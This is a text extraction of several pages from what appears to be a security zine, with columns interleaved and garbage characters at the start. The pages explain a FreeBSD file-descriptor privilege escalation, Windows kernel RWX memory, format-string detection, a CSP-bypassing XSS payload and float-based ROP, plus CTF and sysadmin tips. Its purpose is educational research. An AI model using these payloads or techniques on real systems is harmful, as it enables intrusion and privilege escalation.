tBekw/ hF8 kFT;sEx;xJ4 YvDe/SWgvo5ay2nsPmyuCYO xDC 4Hq)AMa*sXJ CL7;gnR;HWr Ub1 FJu1aCz=ujuEjm
5SJBuOOExBMmLRM+oEsSrVaQo jCR moC)t8zer1ksIGZoJNhbB5YrKxcedlkvCOW-siz-YZF|7bbvNP/-cCy 4s3;KDi
;c0K uZF"8ecROI9EJGHTfGlLZJXIhgXFD8K$GoY|3Nv1WaV$M3r"1Ct=AG9R4VHE4tnToHEL9UrImUwFzf2 LWD|4dE|
Fqr MC2"pwS13SQ$M64"eT6=3eaRBmfEoxOTXPYLfR2IMGfFA3a lHg QJG&oYj&Rjd rId A+e]aMf taR GrV"O1W"k
eh q3T /DQ=3U2=vWZ dla"ZvORgZ3EZ9AT1lILgsvImZSFPzS$9Nu"xTt Dbv[PFZ J8q 8bl;LHB"g7VdGbdeUkat55
jcGz7eeLAlZ01euPPsyBR"7DY=q5hEUFFG8mlNqNyAbq3REZj lbb KYl;nIptBp2fjoFiZk1hUjas727 vUC OWs)oaZ
txDEnguUeHPVmX56g3QReEpes9zv-7a+-hyI|lT6sewd-7xn 6tv;kqR;8Kp RCq U19s6WUp/lpa7whmM3/_Xsmtzpsn
O4viwo4rysXphGT q2x)Y+5sn0cp1TJastSmSAC-Fs7tc3rndZwiXlcrklQp5gE-lS/-K7I|SJkPhB5-DBh uWI 7k1;B
Uu;zgl1cRs$tlP=cmiD0aaI1ZEPEPs REp;P161nMq$C1B O2u uNFdYg3imyFpLtP_aa4kXyjcjSQeXGWhJKgcfN/ 5w
O kwu;GINtTYYf6LJiI6ThK14stIU vZ/ oKP)yaVduwcihkTpoEB-pD8-cDo|5AWp4M8-GfD IL9 TcZ;3zE;gsf 4CI
"sjBtU5UcdP7eMrrj0jOncpkiSgI"ltJ=eJ+TaYAC3WvAOTE O4o iFI)NLDthX1c1S7edbSjPijntnaihu8-79v-57X|
zNgigMW-am8 BEV hmH;Ewv;gUL Z/5 E5jeLTrgTIdaNU3smWCuqPm TeE)o2lpx5nlDbceBYVh1FY-PYO-4LL|hOOhq
Ci-Hkf;5eB;5PS vD4 3Ga1qae$Et3=a+9RqjRIrVGDiPs gDd xxG;CFKt8AWfLlCiVSvhcrNsLet 5i/ dfV)zHvykD
vr7bmowGYtlsJcOVJeO/arZ2MiuYOdL43-CAu-Z8Z|GARfN1M-kqk uha EPb;T5B;2L4 ge4"a0GwU/h]XeE-Vq4rk21
[sMI //D XMU"whb=MH5RRlDEd2CTDDJLK9fI0+aFmW4 TB2;ss6"nzZaQ6DteiMaTLxdWol"bTv=Uc3E93iGu2MNH/IA
5yiRZuB /8i wmL)BTmsaEbtJybn20Me4I9mhc9gCezee/hsxl9-u5haFAYtutLadFQdTJV-OcK-A82|wfsD8Lu-IAB B
+j;JK7;Zvq Yu/1+gP$OkO=iBiDXJvDSnC 9H8 jr1;eer1iyN$dSt 8k8 0DtdP4jdBs2_8Wnkvz3cBgYeti/hc9fcrz
/ 94W;VyVtqz/f/dNijglh+Sus70E rtJ 7Se)T3edBzbdfdz-d12-lfr|NLIdgYF-6kk hKv jcznIe6ilrT wTA PmS
13me$JTX vJz uTPeEhysJM3a2jAc9yJ F62 IkEoznxdQl+ F6A LQB;qsd]ikz JeO"ClJ03KP"U7h HxA PWktZPGg
BbB-TVG Uhp"hFC#m75$tXm"9wi ngE[zAH Ws3ewxvl9CGi7T2hsSTwypR Syj tL9;YpTeth1gC+lalwesmVLuGe2 A
Kb bei|b/H|m0U 4yu]uL+ pK6"/Lqpa2f-/yM"QZX y0u MXx=Q5k 1cz DxT"bDD1D00$snP"nPy FO7 LgF[DwA A

@sektor7net reenz0h
https://blog.sektor7.net SAA-TIP 0.0.5
58
Exploiting FreeBSD-SA-19:02.fd Sec/Hack

Exploiting FreeBSD-SA-19:02.fd
Karsten König of Secfault Security

1 Introduction descriptor with another file the user should not be able
to write to. 5 .
FreeBSD 12.0 introduced a vulnerability in the handling If a file is opened writable, a flag in the struct file
of file descriptors1 . The advisory stated that it would al- is set to indicate this. This is only possible if the user
low to escalate privileges to root or to escape a FreeBSD has the correct access privileges for the file. The write()
jail. This note catches up on the general scenario that syscall will only check this flag to assert that the file
was created by this bug and introduces a novel tech- referenced by the descriptor is writable.
nique to delay writes in the FreeBSD kernel to create a After performing this check, the syscall will eventually
TOCTOU-like exploit in order to escalate to root. call the function bwillwrite () before the actual write op-
eration happens on the file system. bwillwrite () will
put the kernel to sleep without timeout if there are
2 The Bug Class too many dirty–that is unwritten–buffers. This cre-
ates a TOCTOU-like race condition if the attacker is
Without going into the details, the scenario created by
able to exchange the struct file during this sleep be-
the kind of bugs as in the advisory shall be explained.
cause the kernel will not check again if the file is opened
The bug consisted of an overflow of the reference
writable. The use-after-free primitive introduced by the
counter variable f count in the C-struct struct file
mentioned vulnerability makes this possible.
which is used to manage file operations. The variable is
Therefore any file, even if the attacker is only able to
used to count file descriptors which reference the struct.
open it read-only, will be written to in this scenario.
If the attacker is able to wrap the counter back to
To trigger the sleep in the kernel, a lot of file streams
1, while actually holding more than one file descriptor
are opened via fopen() in multiple processes with multi-
to the struct file object, this can lead to a user-after-
ple threads. After each call to fopen(), the correspond-
free situation: By closing one descriptor after the wrap,
ing file is unlinked. When all streams are open, a signal
the struct is freed by the kernel2 while the other file
is given to start a write to these in parallel. This will
descriptors still reference the freed struct on the heap.
create a lot of dirty buffers really fast.
In the special case of FreeBSD, the struct is freed to
If the write to an attacker-writable file happens at
the Files allocator zone3 . Therefore, the bug only al-
that moment, bwillwrite () will delay the write opera-
lows for dangling references to other objects in this zone.
tion. This renders the race condition exploitable com-
For example, by opening another file after the free () op-
bined with a use-after-free for struct file objects. For
eration, an attacker could use the dangling file descrip-
example, the user could trigger the bug and open the
tors to write to the newly opened file (even though the
read-only file libmap.conf to gain root like kcope did
descriptors previously pointed to a different file).
in 20056 .

3 Way to Exploitation 4 Conclusion & Challenges


Exploiting this for a privilege escalation was a bit tricky. This concludes the note. It appeals elegant that a way
It was not easily possible to turn this bug into a mem- was found to exploit use-after-free bugs for struct file
ory corruption issue that could be exploited via ROP or objects in FreeBSD in general.
other techniques in a way fail0verflow did for the PS44 . However, the most urgent challenge is to create a more
This is due to the fact that other as in the PS4 scenario, universal exploit as the delay technique only works with
the f data pointer of the struct file is not corrupted in UFS at the moment but ZFS is nowadays widely adopted
this case. on FreeBSD installations.
However, it is possible to start a write to a user-owned A more detailed write-up for the interested reader and
file, wait until after all required checks are performed a full exploit for the advisory is available7 .
and then exchange the file referenced by the used file If you want to get in touch, feel free: @gr4yf0x at
1 https://www.freebsd.org/security/advisories/ Twitter or karsten@secfault-security.com.
FreeBSD-SA-19:02.fd.asc
2 https://ruxcon.org.au/assets/2016/slides/ 5 Jann Horn used a similar approach in 2016 https://bugs.
ruxcon2016-Vitaly.pdf chromium.org/p/project-zero/issues/detail?id=808
3 http://phrack.org/issues/66/8.html 6 https://www.exploit-db.com/exploits/1230
4 https://fail0verflow.com/blog/2017/ 7 https://secfault-security.com/blog/FreeBSD-SA-1902.fd.

ps4-namedobj-exploit/ html
1

Karsten König Twitter: @gr4yf0x


WTFPL
59
Sec/Hack Semantic gap

Semantic gap HAL keeps UEFI Runtime function pointer table at


hal!HalEfiRuntimeServicesBlock.
by Honorary_BoT Those functions can be triggered from user mode,
for instance by launching “System information”,
which would trigger reading a UEFI variable.
The other day I was walking. Walking page tables of
course. On Windows. On Intel x64 CPU. The good news is if you use Microsoft Surface
devices, you’re fine, since MSFT firmware assigns
Every time I try to exploit something, I avoid using protection to UEFI modules. Good job, Microsoft!
known gadgets or techniques. Instead, I prefer
Besides that, some drivers create custom
getting to know the execution environment, like
allocations as RWX, which is inevitable, I guess. But
what is there in the address space, which properties
not for MmMapIoSpace function, which has an
it has and so on. I am also lazy, so I look for the
easiest way possible. interesting behavior. Check out the prototypes:

PVOID MmMapIoSpace(PHYSICAL_ADDRESS
I needed an RWX memory in the kernel. I was aware PhysicalAddress, SIZE_T NumberOfBytes,
that Microsoft does a really good job with MEMORY_CACHING_TYPE CacheType);
mitigations and was not expecting any. But anyway,
I decided to scan Windows page tables. PVOID MmMapIoSpaceEx(PHYSICAL_ADDRESS
PhysicalAddress, SIZE_T NumberOfBytes,
ULONG Protect);
I was not using any specifics of the Windows
memory manager, I skipped Software PTEs. My idea
The first one is a legacy one, the “Ex” one is only
was doing it in a hardware way: if the page has a P
available on Windows 10. Third party drivers would
bit set in PTE, then the mapping is there, no matter
use the old one. There is an implicit mapping
what semantics Windows puts on that memory.
between specified caching type and protection:
I used PulseDbg, a hypervisor-based debugger for
• MmNonCached converted to RWX
that. This way ensures the OS to be frozen and not
modifying the page tables on the fly. For the • MmCached converted to RWX
scanning process itself refer to the Offzone 2019 • MmWriteCombined converted to RW
presentation “(Mis)configuring page tables”1 or,
even better, to the Intel Software Developers So, the driver must decide if it wants backward
Manual (Vol 3, Chapter 4), it has all the details. In compatibility, or a fine-grained protection of the
fact, SDM has everything, so always refer it. I also mapping.
would suggest for you to read it before you go to
bed. The good news again is there is a Virtualization-
Based Security. Virtual secure mode uses hardware
Surprise! Windows kernel does have RWX regions virtualization features for security and protection of
of memory. In my case it was Windows 10 1809. Windows 10. It has a W^X enforcement in EPT –
And an Intel Haswell CPU on a Gigabyte Q87 chipset extended page tables, controlled by the hypervisor.
motherboard, let me explain why it matters. It does not allow guest kernel memory to be both
writable and executable at the same time. If you’re
The first thing I identified was an area with UEFI concerned about your Windows security, you
Runtime services being mapped as RWX. It is should definitely turn VBS on.
because the firmware typically doesn’t set the
protection on loaded modules. And Windows is not There are more RWX regions present in the kernel.
aware of the semantics of the firmware loader. The If you’re interested, then take a walk. On page
only option for the OS is to rely on the firmware for tables, of course.
those services to work.

1. https://offzone.moscow/report/mis-configuring-page-tables/

Twitter: @honorary_bot Artem Shishkin


CC BY 4.0
60
Using Binary Ninja to find format string vulns in Binary Ninja Sec/Hack

Using Binary Ninja to find format


string vulns in Binary Ninja
1 Motivation It is very important that we find these custom
While targeting a bug bounty program, my fuzzer printf-like functions, because the compiler won’t
found a format string vulnerability. output a warning when calling them without a
You mean you found a format string vuln string literal (as would be the case for known func-
in 2019? YUP! tions like printf), making them more likely to be
Surely not exploitable right? Aaahhhh, vulnerable.
it was! The binary wasn’t compiled with FOR- 2. If the origin is a constant and read-only
TIFY SOURCE or PIE, and even though it was address, we mark the call as safe.
a one-shot exploit, with some tricks I was able to 3. If the origin is the result of a known
get quite a reliable exploit (∼90% reliability). Un- safe function call we also mark the call as
fortunately I’m not able to share more details yet. safe. In this list we have all functions from
After this finding, I wanted to look for similar the gettext family, which attempt to translate a
vulnerabilities, and so I decided to create a plugin text string into the user’s native language. If we
in Binary Ninja to find format string vulns stati- were able to control the translation files (located
cally. in /usr/share/locale/<lang>/LC_MESSAGES), we
would be able to trigger format strings, however
2 How it works these files are owned by root, and so we consider
these to be safe.
The main idea behind the plugin is that the for-
4. For any other origin we mark the call as
mat argument has to be a constant and read-
vulnerable.
only address. Cases like printf("Hello %s") fall
in this category (the string comes from the .rodata 3 Fun fact
section), but others such as printf(user_input)
So, just before releasing the plugin I decided to run
don’t, because the format argument comes from a
it against Binary Ninja itself and to my surprise it
stack or heap variable.
actually found a vulnerability.
To start, we load all known printf-like func-
Whenever a plugin failed to load, an error
tions, i.e., functions that have a format ar-
message was displayed. This message was built
gument, and the index of this argument (e.g.:
as the concatenation of ”Failed to enable plu-
printf->arg0, sprintf->arg1, ...).
gin:\n”, PLUGIN NAME and ”\nCheck the
Secondly we iterate over the xrefs of all the printf-
log for more details” and passed to the func-
like functions, to determine if the format argu-
tion BinaryNinja::LogAlert, a printf-like func-
ment comes from a safe origin or not. Using Bi-
tion. Since the plugin name was being used in a
nary Ninja’s medium level intermediate language
format argument, the code was vulnerable to a for-
(MLIL) in SSA form, we create a backwards slice,
mat string vulnerability.
starting from the format argument and tracing all
It was quite funny that I was submitting a
the way back to its origin(s) in the current function
plugin to find format strings and the plugin name
(no inter-procedural analysis).
field was vulnerable to format strings, however
1. If the origin is an argument, we add this
there was no real impact, since plugins are man-
function to the printf-like functions list for further
ually accepted by the Binary Ninja’s team, and
analysis. For example:
more importantly, the binary was compiled with
void PRINTF_LIKE_1(char *fmt, ...) { FORTIFY SOURCE, making format strings close
va_list args; to unexploitable. I also suspect a plugin named
va_start(args, fmt); %115c%6$n%2c%7$n%238c%8$n%5c%9$n
printf (fmt, args); %247c%10$n%2c%11$n%254c%12$n%15c%
va_end(args); 13$n%251c%14$n%5c%15$n%252c%16$n%2
} 47c%17$n would raise a little suspicion.

jofra https://github.com/Vasco-jofra/format-string-finder-binja
SAA-ALL 0.0.5
61
Sec/Hack Injecting HTML: Beyond XSS

Injecting HTML: Beyond XSS


Lets take a look at this example web app:
<html>
<meta http−equiv="Content−Security−Policy"
content="script−src 'nonce−...' 'unsafe−eval'">
<div id="template_target"></div>

<script type="application/template" id="template">


Hello World! 1 + 1 = {{ 1 + 1 }}
</script>

Your search is <?php echo $_GET['q']; ?>

<script nonce="...">
let template = document.getElementById('template');
template_target.innerHTML = template.innerText.replace(/{{(.∗)}}/g,eval)
</script>
</html>

This functionality mirrors some of what you may see in modern templated web apps. Some privileged template
is stored on the page, then its content is processed and turned into HTML. In this case it will read the content of
the HTML element with id "template", executes anything within the {{ mustache }} brackets, and then renders
the result in a separate element.
The second feature of this app is to print a URL parameter on the page. This introduces a vulnerability that
would normally lead to XSS due to injected HTML tags. However the presence of the Content-Security-Policy
prevents an attacker from executing JavaScript. Since we cannot run JavaScript directly, lets see what other
strange things can be accomplished. Potentially we may want to force the page to run our own template, since
this would allow us to use the eval function.
It might be tempting to try and provide our own element with id="template". However HTML ids are unique,
so document.getElementById(’template’) will only select the first element and not our injected one.
So what do we do? Turns out browsers are often very inconsistent, so it is always better to check our assump-
tions. Lets try every tag just to be sure. Here we have a jinja2 page that will render a set of tags:
<div id="template">First Tag</div>
{% for tag in tag_list %}
<{{tag}} id="template">{{tag}}</{{tag}}>
{% endfor %}
<script>console.log(document.getElementById('template'));</script>

When we run this we get a strange outcome: the selected tag is an <html> tag and not the original <div>.
This <html> seems to have changed what element the id "template" references. Lets take a look at the HTML
elements in the DOM before and after injecting <html id="template">:
DOM After Parsing
<html id="template">
Raw HTML Source Before Parsing <head></head>
<div id="template"></div> <body>
<html id="template"></html> <div id="template"></div>
</body>
</html>

It appears that the injected <html> tag has been moved to the top of the page. (This trick even works in
all major browsers!) Now getElementById(’template’) will reference our injected data rather than the original
element. At this point we can run our own templates and easily get JavaScript code execution:
?q=<html id="template">{{ alert("xss") }}</html>
So due to a browser quirk we managed to bypass the CSP and achieve XSS! Try it out on this challenge.1
1 http://xss.stackchk.fail/

https://twitter.com/itszn13 Amy Burnett


SAA-TIP 0.0.5
62
Building ROP with floats and OpenType Sec/Hack

Building ROP with Zero, infinity and NaN


floats and OpenType Binary zero is the same as a floating point 0.0, while
0x80000000 can be created by negating it. Infinity is
represented by exponent = 128 (let’s call it e, calculated
by Mateusz Jurczyk (j00ru)
as the encoded e minus 127) and mantissa = 0 (m in
short), which corresponds to 0x7f800000 for inf and
Background 0xff800000 for -inf. They can be created with a simple
The Adobe Font Development Kit for OpenType is a font expression:
processing engine dating back to at least 2000. It is 1
written in C, and was open-sourced by Adobe in 2014 ±
0
on GitHub1 . It became an attack surface when parts of
Basic quiet NaN, which has the values of 0x7fc00000
AFDKO were included in Microsoft DirectWrite starting
and 0xffc00000 (e = 128, m = 222 , sign controlled), is
with Windows 10 1709, to facilitate the printing of so-
generated similarly:
called variable fonts (e.g. in web browsers).
This year, I reported a number of bugs in the library, 0
with the 10 most severe ones being fixed by Microsoft ±
0
in the July 2019 Patch Tuesday2 . Many of them were All other NaNs between 0x7f800001-0x7fffffff
convenient for exploitation, due to the software stor- and 0xff800001-0xffffffff cannot be generated us-
ing the CharString execution context in a giant t2cCtx ing floating point arithmetic. One has to accept it when
structure on the stack. Some of the primitives allowed crafting a ROP chain in the AFDKO environment.
controlled out-of-bounds writes, making it possible to
skip the /GS cookie and overwrite the return address di-
rectly. Furthermore, we could perform arbitrary arith-
Real numbers
metic operations such as multiplication or division inEncoding most values in the 32-bit integer range can
the OpenType “virtual machine”. The only problem be achieved as follows. The first number pushed on
was – all calculations were performed on 32-bit floatsthe stack is used to set up the sign bit and 23 bits of
(afdko/c/public/lib/source/t2cstr/t2cstr.c): mantissa. For 0xdeadc0de, we’d use −22240.43359375
(0xA91F’9100 as Fixed16.16), which is represented as
struct /* Operand stack */ 0xc6adc0de in binary. At this point, the only innacu-
{
rate part is the exponent, currently equal to 14 (encoded
long cnt;
float array[CFF2_MAX_OP_STACK];
as 14 + 127 = 141), with an intended value of 62. It can
[...] be manipulated by multiplying and dividing the value
} stack; by 2n , for 0 ≤ n ≤ 14 in our case, because of the 16.16
encoding and one bit reserved for sign. In summary, the
Moreover, data could be pushed on the stack by op- 0xdeadc0de dword can be constructed by implementing
code 255, which loads a 32-bit integer from the Open- the following expression in an OpenType charstring:
Type program stream and converts it from an assumed
16.16 fixed point value to a float: −22240.43359375 ∗ (214 )3 ∗ 26
The above scheme works for all canonical numbers,
long value;
i.e. floating points with exponent 6= −127 (0x00800000-
CHKSUBRBYTE(h);
value = *next++;
0x7f7fffff and 0x80800000-0xff7fffff). The only
CHKSUBRBYTE(h); other corner case to consider are denormalized numbers
value = value << 8 | *next++; (when e = −127). They are smaller than normal num-
[...] bers, and are interpreted differently in that they don’t
PUSH(value / 65536.0); have an implicit leading 1. Instead of adding extra logic
to handle them in my converter, I decided to “cheat”
The most basic element of a ROP chain are constant and solve the problem for a bigger value:
values, e.g. fixed function arguments. The question is
– how to construct a float with a given binary represen- Convert(214 ∗ xdenormal )
tation, provided the above capabilities? Let’s recap the Convert(xdenormal ) =
214
format of IEEE-754 single precision numbers:
After a maximum of two recursive calls, the argument
31 0 becomes a normal number and can be handled using the
regular logic described above.
Exponent (8 bits) Mantissa (23 bits) The converter is available on GitHub3 , and produces
Sign (1 bit) charstrings accepted by the FontTools ttx (de)compiler4 .
Happy hacking!
1 https://github.com/adobe-type-tools/afdko 3 https://j00ru.vexillium.org/int to float opentype
2 https://twitter.com/j00ru/status/1148883124463505408 4 https://github.com/fonttools/fonttools

Mateusz Jurczyk Blog: https://j00ru.vexillium.org/


Twitter: https://twitter.com/j00ru
SAA-ALL 0.0.5 GitHub: https://github.com/j00ru 63
Sec/Hack Scrambled: Rubik's Cube based steganography

Scrambled: Rubik's Cube based   


Step 0: Write some helper methods 
steganography (from UTCTF 19)  import​ math, random
   nums = {​0: ​ (​'L'​, ​'F'​), 1 ​ ​:(​'R'​, ​'B'​), 2 ​ ​:(​'U'​, ​'L2'​),
Disclaimer​: I wrote this problem for UT CTF, but I​ ​did not come up  3​:(​'D'​, ​'R2'​), 4 ​ ​:(​'F2'​, ​'U2'​), ​5: ​ (​'B2'​, ' ​ D2'​),
with the idea​ ​(I’m not that smart). This entire system was proposed in  6​:(​'L\''​, ' ​ F\''​), ​7: ​ (​'R\''​, ' ​ U\''​), 8 ​ ​:(​'B\''​, ' ​ D\''​)}
the paper ‘Rubikstega: A Novel Noiseless Steganography Method in  moves = {​'L'​:0 ​ ,​ ​'F'​:0 ​ ,​ ​'R'​:1 ​ ,​ ​'B'​:1 ​ ,​ ​'U'​:2 ​ ,
​ ​'L2'​:2 ​ ,

Rubik’s Cube’1, and I just implemented it.  'D'​:3 ​ , ​ ' ​ R2'​:3​ ,​ ' ​ F2'​:4 ​ ,​ ​'U2'​:4 ​ ,​ ​'B2'​:5 ​ ​, ' ​ D2'​:​5, ​
  'L\''​:6 ​ ,
​ ​'F\''​:6 ​ ​, ' ​ R\''​:7 ​ ,
​ '​ U\''​:7 ​ ,​ ' ​ B\''​:8 ​ ,
​ ​'D\''​:​8}​
Prompt shuffleNums = dict()
# Convert a base 9 number to a string
B2 R U F' R' L' B B2 L F D D' R' F2 D' R R D2 B' L R def​ n ​ ineToStr​(nine):
L' L B F2 R2 F2 R' L F' B' R D' D' F U2 B' U U D' U2 ​return​ decToStr(int(str(nine), 9))
F' # Convert a decimal number to a string
def​ d ​ ecToStr​(dec):
L F' F2 R B R R F2 F' R2 D F' U L U' U' U F D F2 U R
​return​ bytes.fromhex(hex(dec).replace('L',
U' F U B2 B U2 D B F2 D2 L2 L2 B' F' D' L2 D U2 U2 D2
'')[2:]).decode('utf-8')
U B' F D R2 U2 R' B' F2 D' D B' U B' D B' F' U' R U U'
# Convert scramble notation to base 9
L' L' U2 F2 R R F L2 B2 L2 B B' D R R' U L
def​ s ​ crambleToNine​(scramble, dict):
Have fun! ​if​ dict: result =
''​.join(str(shuffleNums[moves[move]]) ​for​ move ​in
Solution  scramble.split())
​else​: result = ​''​.join(str(moves[move]) ​for​ move ​in
Since I made the problem, I'm going to cheat a little and  scramble.split())
use my God-like problem-writer powers to determine  ​return​ result
that the problem has to do with Rubikstega (for those 
not so clairvoyantly inclined, 'Rubikstega' was released 
Step 1: Decode the permutation header 
as a hint later on in the CTF). Rubikstega is a 
​ ecodePerm​(head):
def​ d
steganography system that used Rubik's cube scramble 
decoded = str(int(str(scrambleToNine(head, ​0) ​ ), 9))
notation to encode the data. There are 18 notations for  shuffle = list(decoded[int(decoded[​0] ​ ) + 1
​ ​ :
Rubik’s Cube scrambles, but in Rubikstega they’re  int(decoded[​0] ​ ) + ​1​ + 9
​ ​])
grouped into 9 pairs. There’s a default encoding table  ​for​ key ​in​ shuffle: shuffleNums[int(key)] =
that maps the numbers 0-8 to a pair of notations, and  shuffle.index(key)
one of the notations from the pair is randomly chosen to 
represent that number. To encode a message, you first  Step 2: Decode the length information 
generate a permutation of the default encoding table, 
def​ d ​ ecodeLength​(head):
with 0-8 now mapping to different notation pairs. This  decoded = str(int(str(scrambleToNine(head, ​1) ​ ), 9))
is encoded in the permutation header along with some  ​return​ decoded[int(decoded[​0​]) + 2
​ ​ : int(decoded[​0]
​ )
random padding. To start encoding the message, you  + 2​ ​ + int(decoded[​1]​ )]
convert each character into its binary representation, 
then concatenate all of them into one large binary  Step 3: Decode the message! 
string. Next you get convert that long binary string to 
def​ d​ ecode​(cipher):
base 9, and use the permuted encoding table to convert  scrambles = cipher.split(​','​)
the base 9 digits to scramble notation. Once the  decodePerm(scrambles[​0] ​ )
message is encoded, you make the length header by  encoded = ' ​ '​.join(scrambles[​2:
​ ])
combining the length of the encoded message with  decoded = nineToStr(str(scrambleToNine(encoded,
1​))[:int(decodeLength(scrambles[​1] ​ ))])
more random padding. The final message is the 
​return​ decoded
permutation header, length header and finally the actual 
message. My explanation glossed over quite a few 
details, so if you're interested in the specifics you should  Add in a main method to get input and call d​ ecode()​, 
check the paper. Now, in order to decode, you just do  pass in the 3 scrambles from the prompt, and we get 
those steps in reverse:  the decoded message:  
utflag{my_bra1n_1s_scrambl3d}​! 
http://informatika.stei.itb.ac.id/~rinaldi.munir/TA/Makalah_TA_
1

Ade_Yusuf.pdf 

github.com/alex-bellon/rubikstega Alex Bellon


alex-bellon.com SAA-ALL 0.0.5
64
Rsync - the new cp SysAdmin

Rsync - the new cp 3.1 Archive mode


The first and one of the most important options is the
archive mode enabled by -a (which is in fact a combi-
nation of a few other flags). This flag enables recursive
1 Introduction copying as well as preserves most of file attributes like
owner (only when run as a superuser), group (requires
For everyone who is still before or during their transition superuser if you don’t belong to the group) or permis-
to fully automatic full-blown CI/CD pipelines, you may sions. When copying to remote, by default user/group
often find yourself copying lots of files, not only on a names are used, but you can change that behavior to
local machine, but also between servers. use uid/gid instead.
While for many simple use cases cp will be enough,
you may often find yourself looking for some additional 3.2 Remote sync
features that cp is not capable of. Not to look far, copy-
Synchronization between remote machines is a feature
ing to or from remote machines is a really common task
which doesn’t require any additional flags. You can
which is beyond powers of cp. The next missing fea-
move files both ways, that is from remote to local and
ture is tracking copying progress which is useful while
vice versa. By default you cannot copy from remote
transferring large files.
to remote but there are ways to achieve this2 . Sample
So what can we do with it? As you may have al- command transferring to remote:
ready guessed there is a way to overcome these issues
and rsync is our savior. As its manual1 suggests it’s a $ cp f i l e bsadel@remote : / home/ b s a d e l /
fast and versatile file-copying tool. It allows us to syn- Remembering that rsync uses ssh we can leverage its
chronize files not only locally but also between remote config file to use our server aliases and default users.
machines. It has a lot of useful options, that should
Host my−h o s t
satisfy almost everyone.
HostName 1 7 2 . 3 9 . 1 4 . 1 2 4
User b s a d e l
Listing 2: ”.ssh/config”
2 Setup
With such a file you can simply copy it without the
We can install it simply by calling the following com- need to specify the username or any other things like
mand on ubuntu (or a similar command on other sys- non-default ssh key.
tems). $ cp f i l e my−h o s t : / home/ b s a d e l /
$ sudo apt−g e t i n s t a l l r s y n c

Next we can modify our .bash_aliases file by adding 3.3 Progress indicator
the following line. In this example we are overriding the rsync supports two ways of showing progress. Ei-
default copying method of our system, but if you wish ther by file (achieved with --progress) or overall (flag
to leave cp usable, just change the alias shown below to --info=progress2). To see it in a more pleasant format
something, like cpr. you can add -h so that numbers are shown in kilobytes
or megabyte instead of raw bytes.
a l i a s cp=” r s y n c −ah −−i n p l a c e
−−i n f o=p r o g r e s s 2 ”
3.4 In-place copying
Listing 1: ”.bash aliases”
By default when rsync synchronizes a local file which
The last thing you have to do to use your new com- already exists at the final destination it uses an interme-
mand is restarting your terminal. Now you can try out diate file. --inplace flag changes that behavior so that
if everything is working fine. Just copy a file and check the file is replaced without creation of any additional
if you can see the progress printed in your terminal. If artifacts. It’s especially useful when synchronizing large
so, you are done! files/directories.

4 More
3 Options
For more options and examples look at rsync manual
In this section we will review some of the most popular page or search for articles like this3 one by Pradeep Ku-
rsync options. This will include ones we’ve used in our mar. Also check out Rsync cheetsheet4 .
alias as well as some additional ones which may come in 2 https://backreference.org/2015/02/09/
handy some day. remote-to-remote-data-copy/
3 https://www.linuxtechi.com/rsync-command-examples-linux/
1 https://linux.die.net/man/1/rsync 4 https://devhints.io/rsync

Bartosz Sądel Twitter: @bartosz_sadel,


Blog: https://dcortezmeleth.github.io/
SAA-ALL 0.0.5
65
SysAdmin What to pack for a deserted Linux Island?

What to pack for a deserted The Shell


Linux Island 🧳? I recommend you get the coolest one:
$ sudo apt install zsh
Things I insist on installing on every new
Linux server I work on, and you should too When you launch it for the first time, use the wizard to
configure it to your liking. If you don’t configure autocomplete and
It’s that time again. You finally manage to ssh into your 3
chdir without cd, you’re wrong. Then get oh-my-zsh (for the
brand-new server, aaaand…
security-minded folks out there - after reviewing the
script of course).
$ sh -c "$(curl -fsSL
https://raw.github.com/robbyrussell/oh-my-
😖 It sucks. You think to yourself, “ah, if only I had time zsh/master/tools/install.sh)"
to set this up like I WANT it to be, this machine would’ve
been a treat”. But alas; you choose to save time by Don’t forget to add 2-letters-long aliases to the most
chugging on with the basic terminal for hours, which end frequently used paths (e.g. source, bin and logs). Super
up slowing you down. My point is: Tooling is king. fast cd-ing 🏎. Also, random themes are fun.

Tooling increases productivity, lowers frustration, and The Terminal(s)


makes you look cool. 😎 More terminals == more throughput == more productivity
== more happiness. That’s just math. Get tmux, oh-my-
pro·duc·tiv·i·ty noun; The effectiveness of
productive effort, especially in industry, as measured
tmux4,powerline and nerdfonts.
in terms of the rate of output per unit of input. 1
$ sudo apt install tmux
$ git clone
ℹ Tooling is important where you intend to actually work. If
https://github.com/gpakosz/.tmux.git
this is a server you just ssh into to restart a crashed service,
$ ln -s -f .tmux/.tmux.conf
then this guide might be somewhat irrelevant. $ cp .tmux/.tmux.conf.local .

So, what do I install the moment I log into a new Linux


machine2, as a starter pack of efficiency? Grab your coffee
The Text Editor
and ssh into your neglected server that wants some love. I could write a whole article on why to use vim. In short,
it’s fast and effective. To improve the experience of using
First thing first, update your current software. vim: get pathogen (vim package manager) and
nerdtree5 to browse files quickly. Map <C+n> to open
$ sudo apt get update
nerdtree.
And get software that gets other software.
The Browser
$ sudo apt install curl # (and wget)
$ sudo apt install git-all If you need one, get one (I like Chrome). One thing you
can’t miss is the extension vimium6: it allows you to
navigate the web using the keyboard alone.
Now for the fun and oh so opinionated stuff. These are
personal (but tried and true) favorite programs and Thank me later. Now you’ll have the time 😉
configurations. Give them a shot. @ShayNehmad on Twitter and GitHub.

1 3 https://ohmyz.sh/
https://www.lexico.com/en/definition/productivity
4 https://github.com/gpakosz/.tmux
2
This guide is for Debian-based releases. Make adaptations as 5
https://github.com/scrooloose/nerdtree
necessary. 6 https://vimium.github.io/

@ShayNehmad on twitter Shay Nehmad


https://github.com/ShayNehmad SAA-ALL 0.0.5
66

Das könnte Ihnen auch gefallen